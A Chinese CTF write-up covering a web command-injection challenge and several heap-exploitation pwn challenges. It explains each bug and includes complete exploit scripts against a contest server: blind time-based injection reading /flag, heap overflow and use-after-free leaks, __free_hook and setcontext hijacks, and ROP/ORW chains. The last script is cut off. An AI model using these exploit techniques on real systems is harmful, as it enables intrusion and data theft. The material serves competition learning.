  • 所以只要传入单引号 ',就可以闭合字符串并注入任意命令

这是标准命令注入。

3. 本地与远程的差异#

本地附件里的 httpd 对 token 的处理很弱,静态看上去只要求长度大于 0xf

但远程实际不是这样。

远程直接测试:

POST /api/lan
token=x

返回:

{"ok":false,"message":"invalid or expired token"}

说明:

  • 远程服务比本地附件多了一层真正的 token 签发与校验

  • 不能直接拿本地前端生成的 token 打远程

因此必须先找远程签 token 的后端接口。

三、远程差异探测#

1. 探测隐藏接口#

对一批常见路径做探测后,发现:

POST /api/login -> 401 {"ok":false,"message":"bad credentials"}

这说明远程确实存在隐藏登录接口 /api/login

2.`/api/login` 的参数测试#

进一步用不同参数组合测试,得到:

{} -> 401 bad credentials
{'username': 'admin'} -> 401 bad credentials
{'password': 'admin'} -> 200 返回 token
{'username': 'admin', 'password': 'admin'} -> 200 返回 token

也就是说,这个登录接口校验极弱:

  • 只要 password=admin

  • 就会直接返回有效 token

典型成功响应如下:

{
"ok": true,
"token": "a791369b7866a1c60aced5e2c58adef98d51b1c311494485f552f4ab566940d4",
"issuedAt": 1780733569000,
"expiresAt": 1780734169000,
"ttlMs": 600000
}

到这里利用链已经完整:

  1. POST /api/login 拿 token

  2. 在 10 分钟有效期内打 POST /api/lan

  3. 通过 firewallRule 命令注入拿 flag

四、直接回显为什么没有成功#

理论上命令注入后,最自然的做法是:

  1. /flag 复制到 Web 根目录

  2. 再通过 HTTP GET 访问回来

例如尝试过:

Terminal window
cp /flag www/flag.json

或者向已知静态文件追加标记:

Terminal window
echo PWNMARK >> www/login.html

但远程没有命中

选择了更稳但更慢的方法:时间盲注。

五、时间盲注思路#

1. 先确认命令注入真的成立#

使用:

Terminal window
sleep 3

测得请求延迟约 3 秒,证明命令注入在远程真实可用。

2. 先确认`/flag` 可读#

例如:

Terminal window
[ -r /flag ] && sleep 1
cat /flag >/dev/null && sleep 1

都能稳定产生延迟,说明:

  • /flag 可读

  • 注入 shell 可以访问目标 flag 文件

3. 选择稳定的字节读取方式#

一开始尝试过:

  • cut

  • head

  • shell 命令替换直接比较

  • grep ^flag{ /flag

最后稳定下来的方案是:

Terminal window
v=$(od -An -tx1 -j OFFSET -N1 /flag | tr -d " \n")
[ "$v" = "xx" ] && sleep 1

六、盲注恢复过程#

1. 开头字节恢复#

按字节 hex 方式逐位确认:

0 -> 48 -> H
1 -> 4e -> N
2 -> 43 -> C
3 -> 54 -> T
4 -> 46 -> F
5 -> 7b -> {

得到:

HNCTF{

2. 中间主体恢复#

继续对后续位置在字符集:

0123456789abcdef-}

中逐位测试,最终恢复出:

HNCTF{7d8f429f-91b5-4a5c-a5b6-787acebf9618}

exp:#

#!/usr/bin/env python3
import requests
import string
import statistics
import time
HOST = "http://114.66.24.210:20904"
LOGIN_API = f"{HOST}/api/login"
LAN_API = f"{HOST}/api/lan"
# 题目环境里 flag 前缀和后续字符集
PREFIX = "HNCTF{"
CHARSET = "0123456789abcdef-}"
SLEEP_SECS = 1.0
TIMEOUT = 8
BASE_FORM = {
"lanIp": "1",
"subnetMask": "1",
"dhcpEnabled": "1",
"dhcpStart": "1",
"dhcpEnd": "1",
"gateway": "1",
"dns": "1",
}
def login(session: requests.Session) -> str:
r = session.post(LOGIN_API, data={"password": "admin"}, timeout=TIMEOUT)
r.raise_for_status()
data = r.json()
if not data.get("ok") or "token" not in data:
raise RuntimeError(f"login failed: {data}")
return data["token"]
def inject(session: requests.Session, token: str, command: str):
"""
关键注入点:
mkdir -p runtime && echo '%s' > runtime/firewall.rule
因此用 x'; COMMAND; #' 闭合单引号并注释掉尾巴。
"""
form = dict(BASE_FORM)
form["token"] = token
form["firewallRule"] = f"x'; {command}; #'"
t1 = time.perf_counter()
r = session.post(LAN_API, data=form, timeout=TIMEOUT)
dt = time.perf_counter() - t1
return r, dt
def timed_condition(session: requests.Session, token: str, shell_cond: str, trials: int = 3, sleep_secs: float = SLEEP_SECS) -> float:
"""
让远程在条件为真时 sleep,用请求耗时判断真假。
返回多次请求的平均耗时。
"""
cmd = f"{shell_cond} && sleep {sleep_secs}"
samples = []
for _ in range(trials):
_, dt = inject(session, token, cmd)
samples.append(dt)
return statistics.mean(samples)
def check_injection(session: requests.Session, token: str):
_, normal = inject(session, token, "true")
_, delayed = inject(session, token, "sleep 2")
print(f"[+] normal request: {normal:.3f}s")
print(f"[+] delayed request: {delayed:.3f}s")
if delayed - normal < 1.2:
raise RuntimeError("time-based injection does not look stable")
def check_flag_readable(session: requests.Session, token: str):
avg = timed_condition(session, token, "[ -r /flag ]", trials=2, sleep_secs=1)
print(f"[+] readable check avg: {avg:.3f}s")
if avg < 0.8:
raise RuntimeError("/flag may not be readable")
def guess_prefix(session: requests.Session, token: str, length: int = 6):
print("[*] guessing prefix bytes ...")
out = ""
alphabet = string.printable.replace("\r", "").replace("\n", "")
for i in range(length):
best = None
best_t = -1.0
for ch in alphabet:
hx = f"{ord(ch):02x}"
cond = f'v=$(od -An -tx1 -j {i} -N1 /flag | tr -d " \\n"); [ "$v" = "{hx}" ]'
avg = timed_condition(session, token, cond, trials=2)
if avg > best_t:
best_t = avg
best = ch
out += best
print(f"[+] prefix[{i}] = {best!r} avg={best_t:.3f}s current={out}")
return out
def extract_flag(session: requests.Session, token: str, prefix: str = PREFIX, max_len: int = 80):
print(f"[*] starting extraction with prefix: {prefix}")
known = prefix
for i in range(len(prefix), max_len):
best_ch = None
best_t = -1.0
best_all = []
for ch in CHARSET:
hx = f"{ord(ch):02x}"
cond = f'v=$(od -An -tx1 -j {i} -N1 /flag | tr -d " \\n"); [ "$v" = "{hx}" ]'
avg = timed_condition(session, token, cond, trials=3)
best_all.append((avg, ch))
if avg > best_t:
best_t = avg
best_ch = ch
best_all.sort(reverse=True)
print(f"[+] pos {i}: top candidates = {best_all[:3]}")
if best_t < 0.75:
print("[!] timing gap too small, you may need more trials or bigger sleep")
break
known += best_ch
print(f"[+] flag so far: {known}")
if best_ch == "}":
return known
return known
def verify_char(session: requests.Session, token: str, index: int, ch: str, trials: int = 5):
hx = f"{ord(ch):02x}"
cond = f'v=$(od -An -tx1 -j {index} -N1 /flag | tr -d " \\n"); [ "$v" = "{hx}" ]'
avg = timed_condition(session, token, cond, trials=trials)
print(f"[+] verify index={index} char={ch!r} avg={avg:.3f}s")
return avg
def main():
session = requests.Session()
token = login(session)
print(f"[+] token = {token}")
check_injection(session, token)
check_flag_readable(session, token)
flag = extract_flag(session, token, prefix=PREFIX)
print(f"[+] final candidate: {flag}")
if __name__ == "__main__":
main()

Image

题目名称:notezpz1#

解题人:J4toPos

解题过程

保护#

本地 checksec 如下:

Image

程序开了 Full RELRO、Canary、NX、PIE,典型思路是先想办法泄露地址,再走堆上函数指针或 libc hook。

程序逻辑#

从 IDA / gdb 可以很快还原出题目的核心结构:

typedef struct question {
void (*ask)(struct question *q); // offset 0
char pad[0x14]; // offset 4 ~ 0x17
char *text; // offset 0x18
} question;

几个关键函数:

  1. create_question

    • malloc(0x1c) 分配 question 结构体

    • malloc(0x14) 分配 text

    • q->ask = print_question

  2. print_question

    • 打印固定前缀

    • printf("I have the answer perhaps: '%s'\n", q->text);

  3. ask_question

    • 直接调用 q->ask(q)
  4. delete_question

    • free(q->text);

    • free(q);

  5. set_question

    • 这是漏洞点:
fgets(q->text, 0x50, stdin);

q->text 实际只分配了 0x14 字节,所以这里是一个非常直接的堆溢出。

漏洞分析#

1. 堆溢出#

text 只分配了 0x14,却用 fgets(..., 0x50, ...) 读入,导致最多可以向后覆盖 0x50 - 0x14 = 0x3c 字节以上的数据。

连续创建两个问题后,实测两个 question 结构体指针差值为 0x40,说明:

  • q0->text 后面可以覆盖到 q1 的结构体

  • 因此可以改掉:

    • q1->ask

    • q1->text

这就非常舒服了,因为:

  • q1->ask 可以控制 ask_question() 的函数调用目标

  • q1->text 可以把 print_question() 变成任意地址泄露器

2. 可控调用#

ask_question 的逻辑本质上是:

q = get_question();
q->ask(q);

也就是说,只要我们把相邻的 q1->ask 改成任意函数地址,就能在后续 ask 1 的时候调用那个函数。

利用思路#

整体链路分 4 步:

  1. 用堆溢出覆盖 q1->askq1->text

  2. 先泄露堆地址和 GOT 地址

  3. 通过 puts@got 识别远端 libc 并算出 system__free_hook

  4. __free_hook 改成 system,再触发 free(q2->text) 执行命令读 flag

关键泄露#

第一步:把`print_question` 变成任意地址读#

先创建两个对象:q0q1

然后通过 set_question(0, payload) 溢出 q0->text,覆盖 q1

  • q1->ask = print_question

  • q1->text = &questions

之后执行 ask 1,程序会走:

print_question(q1);
printf("%s", q1->text);

此时 q1->text 被改成了全局数组 questions 的地址,相当于把 questions[0]questions[1] 这两个堆指针当作字符串打印出来。虽然这不是一个“标准字符串”,但前几个字节足够我们直接拿到两个堆地址。

实战里这一步用来确认:

  • 当前连接是否猜中了 PIE

  • q0q1 是否真的是相邻布局

命中后会看到:

q0 = 0x57545160
q1 = 0x575451a0
q1 - q0 = 0x40

第二步:泄露`puts@got`#

确认命中后,再次溢出:

  • q1->ask = print_question

  • q1->text = puts@got

然后 ask 1,即可把 puts 的真实 libc 地址读出来。

PIE 处理#

因为程序开了 PIE,而且远端每次连接都会重新起进程,所以二进制基址会变。

  • 预设一批可能的 PIE 页基址

  • 多线程并发连接远端

  • 每个线程随机选一个候选基址去打第一步泄露

  • 一旦 q1 - q0 == 0x40,就认为当前连接猜中了 PIE

libc 识别#

泄露出 puts 后,观察到低 12 位是 0xd90,匹配 Ubuntu 18.04 i386 的:

libc6_2.27-3ubuntu1.5_i386
libc6_2.27-3ubuntu1.6_i386

这两个版本关键偏移一致:

puts = 0x67d90
system = 0x3d3d0
__free_hook = 0x1d98d0

因此:

libc_base = puts_addr - 0x67d90;
system = libc_base + 0x3d3d0;
__free_hook = libc_base + 0x1d98d0;

最终利用#

再创建一个新对象 q2,把它的 text 设成要执行的命令:

Terminal window
cat flag* /flag* /home/*/flag* /app/*flag* 2>/dev/null

然后继续利用 q0 溢出改 q1

  • q1->ask = print_question

  • q1->text = __free_hook

此时执行 set_question(1, p32(system)),就会把 system 地址写进 __free_hook

最后调用:

delete_question(2);

delete_question 会先执行:

free(q2->text);

由于 __free_hook = system,这一步实际变成:

system(q2->text);

于是命令被执行,flag 直接回显。

Image

题目名称:notezpz1-plus#

解题人:J4toPos

解题过程

保护#

checksec

Image

这版和上一题最大的差别不在菜单逻辑,而在 64 位、PIE、Full RELRO 以及 CET 标记都开了,所以直接写 GOT / 直接函数指针跳 system 都不够顺手,必须把泄露链和调用链都搭完整。

程序逻辑#

从调试符号和反汇编可以直接还原出关键结构:

struct question {
void (*ask)(struct question *q); // offset 0x00
char pad[0x18]; // offset 0x08 ~ 0x1f
char *text; // offset 0x20
};

关键函数:

  1. create_question

    • malloc(0x28) 分配结构体

    • malloc(0x28) 分配 text

    • q->ask = print_question

  2. print_question

puts("Dobby has a question for you");
printf("I have the answer perhaps: '%s'\n", q->text);
  1. delete_question
free(q->text);
free(q);

但是没有把全局数组里的指针清空。

  1. set_question
fgets(q->text, 0x78, stdin);

text 实际只分配了 0x28,这里是稳定的堆溢出。

  1. ask_question
q->ask(q);

漏洞点#

这题其实是三个点叠在一起:

1. 堆溢出#

malloc(0x28)fgets(..., 0x78),可以从当前 text 一路覆盖到后面的 chunk。

2. UAF / dangling pointer#

delete_question 释放后不清 questions[id],旧 id 还能继续拿到悬挂对象。

3. 同尺寸 chunk#

结构体 chunk 和 text chunk 都是同一尺寸类,所以 tcache 里它们可以互相顶替。这一点是后面把“活着的 struct 当字符串打印”和“伪造 setcontext frame”的基础。

第一步:heap 泄露#

先创建 7 个对象,记为 0..6

然后:

  1. delete(1)

  2. delete(0)

  3. create() 得到新对象 7

此时 7text 来自旧的 B0。这个 chunk 在 tcache 里时残留了 safe-linking 的 next,所以直接 ask(7) 就能看到一串脏数据:

I have the answer perhaps: '\x99H\xfb\xf4\x91U'

把它按 little-endian 补成 8 字节,再结合当前链上两个 chunk 的固定相对距离,就能反推出:

  • B0

  • A0

  • A1

这里的关键不是“把脏字符串完整读出来”,而是只要前 6 个字节够用,就能把 safe-linking 的方程解出来。

第二步:tcache poisoning 泄露 PIE#

现在我们已经知道:

  • A0:旧 question 0 结构体

  • A1:旧 question 1 结构体

先让 dangling 的 id=1 去写 B1,提前埋一些之后 setcontext 要用的字段。同时把 q2->content 还原成正确的 B2,否则后面 set_question(2) 会直接炸掉。

接着用 id=7B0 覆盖 A1->next = A0 ^ (A1 >> 12)

create() 一次,新的 id=8 会变成:

  • struct = A1

  • content = A0

A0 本身是一块活着的结构体,开头就是合法的 print_question 地址。于是:

ask(8)

打印出来的前几个字节就是 print_question 的真实地址,直接减去符号偏移就得到 PIE base。

第三步:libc 泄露#

有了 PIE 之后,还是用 id=7 覆盖 id=8 的前半个结构体:

  • q8->ask = print_question

  • q8->text = 某个可打印的 libc 指针

这里直接使用 puts@got 作为泄露点,避免字符串打印在低字节为 0x00 时提前截断。

这台机器上实测可以稳定泄到:

puts -> 0x7f4b19148be0
libc_base -> 0x7f4b190c1000
system -> 0x7f4b19119750
setcontext -> 0x7f4b1910b960

再用 puts 向下扫 ELF 头,确认了远端 libc base 对应的 puts offset 是:

puts = 0x87be0

把这些偏移扔到 libc.rip 检索,命中了 Ubuntu 24.04 的 glibc 2.39 分支(libc6_2.39-0ubuntu8.{4,5,6}_amd64 这几版的关键偏移一致):

puts = 0x87be0
system = 0x58750
setcontext = 0x4a960

于是最后用:

libc_base = puts_addr - 0x87be0;
system = libc_base + 0x58750;
setcontext = libc_base + 0x4a960;

第四步:构造 setcontext frame#

这题最烦的点就是 system(q) 不行,因为 ask_question 传给函数指针的参数是 q 本身,不是 q->text

所以必须借 setcontext 改寄存器,把:

  • RDI = command_string

  • RSP = fake_stack

  • RIP = system

具体落点#

q = A1 为 fake frame 基址:

  • q + 0x68:命令字符串指针

  • q + 0xa0:fake rsp

  • q + 0xa8system

  • q + 0xe0fpstate

  • q + 0x1c0mxcsr

分别由不同 chunk 写入:

  1. id=1 -> B1

    • 提前写 q + 0x68 = B0
  2. id=2 -> B2

    • q + 0xa0 = q + 0x248

    • q + 0xa8 = system

    • q + 0xe0 = q + 0x180

  3. id=4 -> B4

    • q + 0x180 ~ q + 0x1bf 清零,给 fldenv

    • q + 0x1c0 = 0x1f80

  4. id=7 -> B0

    • B0 开头放命令字符串,比如 cat flag\x00

    • q->ask = setcontext

最终触发#

所有字段写好之后,直接:

ask(8)

把命令设成:

cat flag

exp:#

#!/usr/bin/env python3
from pwn import ELF, context, p64, remote, u64
HOST = "114.66.24.210"
PORT = 23294
BINARY = "./notezpz"
CMD = b"cat flag"
REMOTE_OFFSETS = {
"puts": 0x87BE0,
"system": 0x58750,
"setcontext": 0x4A960,
}
def recv_menu_resync(io):
data = io.recvuntil(b"choice, (or press enter to refresh): ", timeout=2)
extra = io.recvrepeat(0.05)
while b"choice, (or press enter to refresh): " in extra:
data = extra[extra.rfind(b"choice, (or press enter to refresh): ") :]
extra = io.recvrepeat(0.05)
return data + extra
def choice(io, c):
recv_menu_resync(io)
io.sendline(c)
def create(io):
choice(io, b"C")
def delete(io, idx):
choice(io, b"D")
io.recvuntil(b"Enter question id: ", timeout=2)
io.sendline(str(idx).encode())
def set_question(io, idx, data):
if len(data) > 0x77:
raise ValueError(f"payload too long: {len(data):#x}")
choice(io, b"S")
io.recvuntil(b"Enter question id: ", timeout=2)
io.sendline(str(idx).encode())
io.recvuntil(b"Enter your question: ", timeout=2)
io.send(data + b"\n")
def ask_leak(io, idx):
choice(io, b"A")
io.recvuntil(b"Enter question id: ", timeout=2)
io.sendline(str(idx).encode())
out = io.recvuntil(b"'\n", timeout=2)
io.recvrepeat(0.05)
return out.split(b"perhaps: '")[1].split(b"'\n")[0]
def solve_rel(enc, delta):
x = enc
for _ in range(20):
x = (enc ^ (x >> 12)) - delta
return x & ((1 << 64) - 1)
def exploit(io, elf, cmd):
for _ in range(7):
create(io)
delete(io, 1)
delete(io, 0)
create(io) # id7 -> A0 / B0
enc = u64(ask_leak(io, 7).ljust(8, b"\x00"))
b0 = solve_rel(enc, 0x30)
a0 = b0 - 0x30
a1 = b0 + 0x30
b1 = a1 + 0x30
b2 = a0 + 0xF0
q = a1
q_rsp = q + 0x248
fpstate = q + 0x180
# id1 is still a dangling handle to A1/B1. Use it to preset future
# setcontext fields while restoring q2->content to B2.
buf1 = bytearray(b"1" * 0x77)
buf1[0x50:0x58] = p64(b2) # keep q2->content valid
buf1[(q + 0x68) - b1 : (q + 0x68) - b1 + 8] = p64(b0)
set_question(io, 1, bytes(buf1))
# Poison A1->next = A0 so the next create gives id8: struct=A1, content=A0.
set_question(io, 7, b"A" * 0x30 + p64(a0 ^ (a1 >> 12)))
create(io)
pie = u64(ask_leak(io, 8).ljust(8, b"\x00")) - elf.sym["print_question"]
leak_target = pie + elf.got["puts"]
leak_payload = (
b"A" * 0x30
+ p64(pie + elf.sym["print_question"])
+ b"B" * 0x18
+ p64(leak_target)
)
set_question(io, 7, leak_payload)
leak_addr = u64(ask_leak(io, 8).ljust(8, b"\x00"))
libc_base = leak_addr - REMOTE_OFFSETS["puts"]
system = libc_base + REMOTE_OFFSETS["system"]
setcontext = libc_base + REMOTE_OFFSETS["setcontext"]
buf2 = bytearray(b"2" * 0x77)
buf2[(q + 0xA0) - b2 : (q + 0xA0) - b2 + 8] = p64(q_rsp)
buf2[(q + 0xA8) - b2 : (q + 0xA8) - b2 + 8] = p64(system)
buf2[(q + 0xE0) - b2 : (q + 0xE0) - b2 + 8] = p64(fpstate)
set_question(io, 2, bytes(buf2))
b4 = a0 + 0x1B0
off_fp = fpstate - b4
off_mx = (q + 0x1C0) - b4
buf4 = bytearray(b"4" * 0x77)
for i in range(off_fp, off_mx):
buf4[i] = 0
buf4[off_mx : off_mx + 7] = p64(0x1F80)[:7]
set_question(io, 4, bytes(buf4))
off_q = q - b0
buf0 = bytearray(b"P" * 0x38)
buf0[: len(cmd) + 1] = cmd + b"\x00"
buf0[off_q : off_q + 8] = p64(setcontext)
set_question(io, 7, bytes(buf0))
choice(io, b"A")
io.recvuntil(b"Enter question id: ", timeout=2)
io.sendline(b"8")
return io.recvrepeat(2)
def main():
elf = ELF(BINARY)
io = remote(HOST, PORT)
try:
out = exploit(io, elf, CMD)
print(out.decode("latin1", errors="replace"))
finally:
io.close()
if __name__ == "__main__":
main()

Image

题目名称:notzpz2#

解题人:J4toPos

解题过程

题目分析#

用 IDA 看二进制,关键逻辑很直接:

  • create_question():申请一个 0x520question 结构体,再申请一个 0x410 的文本块,text 指针在结构体偏移 0x18

  • delete_question()free(q->text); free(q);,但是不会把 questions[id] 清空。

  • set_question()fgets(q->text, 120, stdin)

  • ask_question():调用 print_question(q),本质是 printf("I have the answer perhaps: '%s'", q->text)

因此核心漏洞是:

  1. delete 后全局数组里还留着悬空指针,存在 UAF。

  2. ask 能把 q->text 指向的位置当成字符串打印出来。

  3. set 能把数据写到 q->text 指向的位置。

堆利用思路#

先布置出两个 stale handle:

  1. 连续 create 6 次,得到 id 0~5

  2. delete(1), delete(3), create(),让旧的 id 1 变成一个可写的 largebin header handle。

  3. delete(0), delete(3), create(),让旧的 id 0 也变成另一个可写/可读的 stale handle。

之后利用两个悬空句柄分工:

  • id 3:读取 unsorted bin 指针,泄露 libc。

  • id 0:把它的 text 指向 environ,继续泄露栈地址。

  • id 1:把它的 text 改到栈上保存返回地址的位置,然后直接覆写返回地址为 ROP。

泄露与劫持#

1. 泄露 libc#

利用 ask(3) 读出 unsorted bin 指针,得到:

  • main_arena+offset

  • 该实例对应的 libc_base = leak - 0x203b20

2. 泄露栈地址#

这一实例的 libc 环境与本地验证一致,environ 偏移为:

  • environ = libc_base + 0x20ad58

先用 set_question(0, b"A"*0x28 + p64(environ)) 改写 stale 结构里的 text 指针,再 ask(0) 读取 environ 保存的栈地址。

3. 改写返回地址#

从栈泄露可以定位到 menu/main 的保存返回地址,这里使用:

  • stack_ret = environ_value - 0x130

然后把第二个 stale handle 的 text 改到 stack_ret,直接写入 ROP:

  1. ret

  2. pop rdi ; ret

  3. 指向栈上命令字符串 "cat /flag; exit"

  4. system

  5. exit

最后菜单输入 Q,函数返回时执行 ROP,直接打印 flag。

exp:#

import socket
import struct
import time
HOST = "114.66.24.210"
PORT = 22162
UNSORTED_OFF = 0x203B20
ENVIRON_OFF = 0x20AD58
SYSTEM_OFF = 0x58750
EXIT_OFF = 0x47BA0
POP_RDI_OFF = 0x10F78B
RET_OFF = 0x2882F
CMD = b"cat /flag; exit\x00"
def p64(x):
return struct.pack("<Q", x)
class IO:
def __init__(self, host, port):
self.s = socket.create_connection((host, port), timeout=3)
self.s.settimeout(0.3)
self.buf = b""
def close(self):
try:
self.s.close()
except Exception:
pass
def send(self, data):
self.s.sendall(data)
def recv_until(self, marker, timeout=3.0):
end = time.time() + timeout
while marker not in self.buf:
if time.time() > end:
raise TimeoutError(f"timeout waiting for {marker!r}, tail={self.buf[-120:]!r}")
try:
data = self.s.recv(4096)
if not data:
raise EOFError(self.buf)
self.buf += data
except socket.timeout:
continue
idx = self.buf.index(marker) + len(marker)
out = self.buf[:idx]
self.buf = self.buf[idx:]
return out
def recv_all(self, timeout=1.5):
end = time.time() + timeout
out = b""
while time.time() < end:
try:
data = self.s.recv(4096)
if not data:
break
out += data
end = time.time() + 0.3
except socket.timeout:
continue
return out
def menu(io, choice):
io.recv_until(b"Enter your choice, (or press enter to refresh): ")
io.send(choice + b"\n")
def create(io):
menu(io, b"C")
def delete(io, idx):
menu(io, b"D")
io.recv_until(b"Enter question id: ")
io.send(str(idx).encode() + b"\n")
def set_question(io, idx, data):
menu(io, b"S")
io.recv_until(b"Enter question id: ")
io.send(str(idx).encode() + b"\n")
io.recv_until(b"Enter your question: ")
io.send(data)
def ask(io, idx):
menu(io, b"A")
io.recv_until(b"Enter question id: ")
io.send(str(idx).encode() + b"\n")
out = io.recv_until(b"[C]reate", timeout=3.0)
prefix = b"I have the answer perhaps: '"
if prefix not in out:
raise ValueError(out)
data = out[out.index(prefix) + len(prefix):-len(b"[C]reate")]
if data.endswith(b"'\n"):
data = data[:-2]
return data
def exploit(host=HOST, port=PORT, attempts=30):
for attempt in range(1, attempts + 1):
io = IO(host, port)
try:
for _ in range(6):
create(io)
delete(io, 1)
delete(io, 3)
create(io)
delete(io, 0)
delete(io, 3)
create(io)
libc_leak = int.from_bytes(ask(io, 3)[:8].ljust(8, b"\x00"), "little")
libc_base = libc_leak - UNSORTED_OFF
env_sym = libc_base + ENVIRON_OFF
if b"\n" in p64(env_sym):
continue
set_question(io, 0, b"A" * 0x28 + p64(env_sym) + b"\n")
env = int.from_bytes(ask(io, 0)[:8].ljust(8, b"\x00"), "little")
stack_ret = env - 0x130
system = libc_base + SYSTEM_OFF
exit_ = libc_base + EXIT_OFF
pop_rdi = libc_base + POP_RDI_OFF
ret = libc_base + RET_OFF
cmd_addr = stack_ret + 0x40
targets = [stack_ret, system, exit_, pop_rdi, ret, cmd_addr]
if any(b"\n" in p64(x) for x in targets):
continue
pivot = b"B" * 0x28 + p64(stack_ret) + b"\n"
if b"\n" in pivot[:-1]:
continue
rop = p64(ret) + p64(pop_rdi) + p64(cmd_addr) + p64(system) + p64(exit_)
rop = rop.ljust(0x40, b"X") + CMD
if b"\n" in rop:
continue
set_question(io, 1, pivot)
set_question(io, 1, rop + b"\n")
menu(io, b"Q")
out = io.recv_all(2.0)
if b"flag{" in out.lower():
return out.decode("latin1", errors="replace")
finally:
io.close()
raise RuntimeError("exploit failed after retries")
if __name__ == "__main__":
print(exploit())

Image

题目名称:darklamp#

解题人:weixiao

解题过程

1. 题目保护#

程序是 64 位 PIE,并开启了:

  • Full RELRO

  • Canary

  • NX

  • seccomp

seccomp 虽然限制了系统调用,但 openat/openreadwrite 这类 ORW 所需调用仍然可用,所以最终方向就是想办法把控制流劫持到 libc,然后做 ORW 读 /flag

2. 核心漏洞#

最关键的函数是 light()

void light()
{
size_t sz;
size_t n;
unsigned char *p;
printf("oil: ");
sz = read_ulong();
if ( sz > 0x1f && sz <= 0x500 )
{
p = malloc(sz);
...
if ( !g_lens )
{
g_lens = malloc(0x30);
g_lens->magic = 0x1111111111111111;
g_lens->seal = 0x2222222222222222;
g_lens->focus = g_ash;
g_lens->cursor = 0;
g_lens->budget = 0x20;
g_lens->mood = 0;
}
printf("flame: ");
n = read_ulong();
if ( n > 0x800 ) exit(0);
printf("spark: ");
read_exact_ish(p, n);
}
}

问题很明显:

  • malloc(sz) 只允许到 0x500

  • read_exact_ish(p, n) 允许读到 0x800

  • 没有检查 n <= sz

所以这里是一个稳定的 heap overflow

第一次调用 light() 时,程序会先分配用户块,再分配 g_lens。因此我们可以用用户块溢出覆盖后面的 g_lens 结构体。

3. 可用原语#

3.1`lens_ok()` 校验#

g_lens 想被后续功能接受,必须满足:

magic == 0x706d616c6b726164
seal == 0x0ddba11c0ffee123

把这两个值伪造好以后,后面的 aim / look / whisper / dream 就都能用了。

3.2`look()` 任意读#

look() 会从 g_lens->focus[g_lens->cursor] 逐字节读数据并输出,cursor 自动加一。

只要我们能控制 focus,就有字节级 arbitrary read。

3.3`aim()` 改 `focus`#

aim() 可以把 g_lens->focus 指到任意非低地址处,并把 cursor 置 0。

这样就能把 look() 变成任意地址读,把 whisper() 变成任意地址写。

3.4`whisper()` 任意写#

whisper()g_lens->focus + cursor 连续写入数据,只过滤了“像栈”的地址区域。

因为堆和 libc 都不在这个过滤范围里,所以可以稳定改堆块内容、改 g_lens、写 fake ucontext、写 ROP 链。

3.5`dream()` 最终控制流劫持#

程序退出时:

if ( lens_ok() && g_lens->mood == 0x647265616d6f7277 && g_lens->focus )
{
if ( g_lens->budget )
((void (*)(size_t))g_lens->focus)(g_lens->budget);
}

也就是说,只要:

  • magic/seal 正确

  • mood == 0x647265616d6f7277

  • focus 可控

  • budget 可控

我们就能在退出时执行:

focus(budget)

这是整题最后的劫持点。

4. 堆布局与第一次利用#

先调用一次:

light(0x100, 0x120, b'A'*0x110 + p64(MAGIC) + p64(SEAL))

这时会发生:

  1. malloc(0x100) 分配用户块

  2. malloc(0x30) 分配 g_lens

  3. 0x120 字节输入溢出到 g_lens

这样就能把 g_lens->magicg_lens->seal 修好。

4.1 堆地址泄露#

g_lens->focus 初始指向 g_ash,而 g_ashsetup() 中被 malloc(0x28) 后又 free(),因此这里残留的是 tcache freelist 指针。

连续 look() 8 次取出 8 字节,可以拿到安全链接后的堆指针:

heapkey = u64(bytes(look(io) for _ in range(8)))
A = (heapkey << 12) + 0x310

在这道题对应的远程环境里,后续关键地址是:

g_lens = A + 0xd0
g_moon0 = A + 0x100

这个偏移是实测出来的

5. libc 泄露#

pray() 的相位逻辑很关键:

  • phase 0:g_moon[0] = malloc(0x500)

  • phase 1:g_moon[1] = malloc(0x30)

  • phase 2:free(g_moon[0]),若 lens_ok() 成功则 g_lens->focus = g_moon[0]

如果直接 free 0x500 块,它通常会先进 tcache。为了让它进 unsorted bin,需要先把 0x510 对应的 tcache 填满。

做法:

for _ in range(7):
light(0x500, 0, b'')

然后调用三次 pray()

pray() # malloc 0x500
pray() # malloc 0x30
pray() # free g_moon[0], focus = g_moon[0]

这时 focus 指向被 free 进 unsorted 的块头,前 8 字节就是 main_arena 相关指针。

读 8 字节:

leak = u64(bytes(look(io) for _ in range(8)))
libc = leak - 0x203b20

这里对应的远程 libc 是 Ubuntu 2.39main_arena 偏移实测为:

main_arena = 0x203b20

6. ORW 思路#

本题 seccomp 允许 open/read/write,所以直接 ORW:

  1. open("/flag", 0, 0)

  2. read(3, buf, 0x80)

  3. write(1, buf, 0x80)

在这个远程环境中,程序启动后只打开了 stdin/stdout/stderr,因此 open("/flag") 返回的就是 fd 3,可以直接这么写。

7. fake ucontext 布局#

需要自己填的关键字段:

ctx[0x68:0x70] = p64(path_addr) # rdi = "/flag"
ctx[0x70:0x78] = p64(0) # rsi = O_RDONLY
ctx[0x88:0x90] = p64(0) # rdx = mode
ctx[0xa0:0xa8] = p64(stack) # rsp
ctx[0xa8:0xb0] = p64(libc + OFF_OPEN) # rip
ctx[0xe0:0xe8] = p64(g_moon0 + 0x1a8) # fpregs
ctx[0x1c0:0x1c4] = p32(0x1f80) # mxcsr

setcontext+0x2d 会先恢复浮点环境,所以 fpregsmxcsr 不能乱填,否则容易直接崩。

接着把 ROP 链放到:

stack = g_moon0 + 0x3c8

链内容是:

open("/flag", 0, 0)
read(3, buf, 0x80)
write(1, buf, 0x80)

exp:#

from pwn import *
import re
context.log_level = 'info'
HOST = '114.66.24.210'
PORT = 37466
MAGIC = 0x706d616c6b726164
SEAL = 0x0ddba11c0ffee123
MOOD = 0x647265616d6f7277
OFF_SETCTX = 0x4a98d
OFF_OPEN = 0x11b150
OFF_READ = 0x11ba80
OFF_WRITE = 0x11c590
POP_RDI = 0x10f78b
POP_RSI = 0x110a7d
SET_RDX_80 = 0x9a4d0
def recv_menu(io):
io.recvuntil(b'> ')
def cmd(io, c):
recv_menu(io)
io.sendline(str(c).encode())
def light(io, sz, n, data=b''):
cmd(io, 1)
io.recvuntil(b'oil: ')
io.sendline(str(sz).encode())
io.recvuntil(b'flame: ')
io.sendline(str(n).encode())
io.recvuntil(b'spark: ')
if n:
io.send(data)
io.recvuntil(b'lit\n')
def look(io):
cmd(io, 2)
line = io.recvline().decode()
return int(re.search(r': ([0-9a-f]{2})$', line).group(1), 16)
def aim(io, addr):
cmd(io, 3)
io.recvuntil(b'star: ')
io.sendline(str(addr).encode())
io.recvline()
def whisper(io, data):
cmd(io, 4)
io.recvuntil(b'words: ')
io.sendline(str(len(data)).encode())
io.recvuntil(b'murmur: ')
io.send(data)
io.recvuntil(b'heard\n')
def pray(io):
cmd(io, 5)
io.recvline()
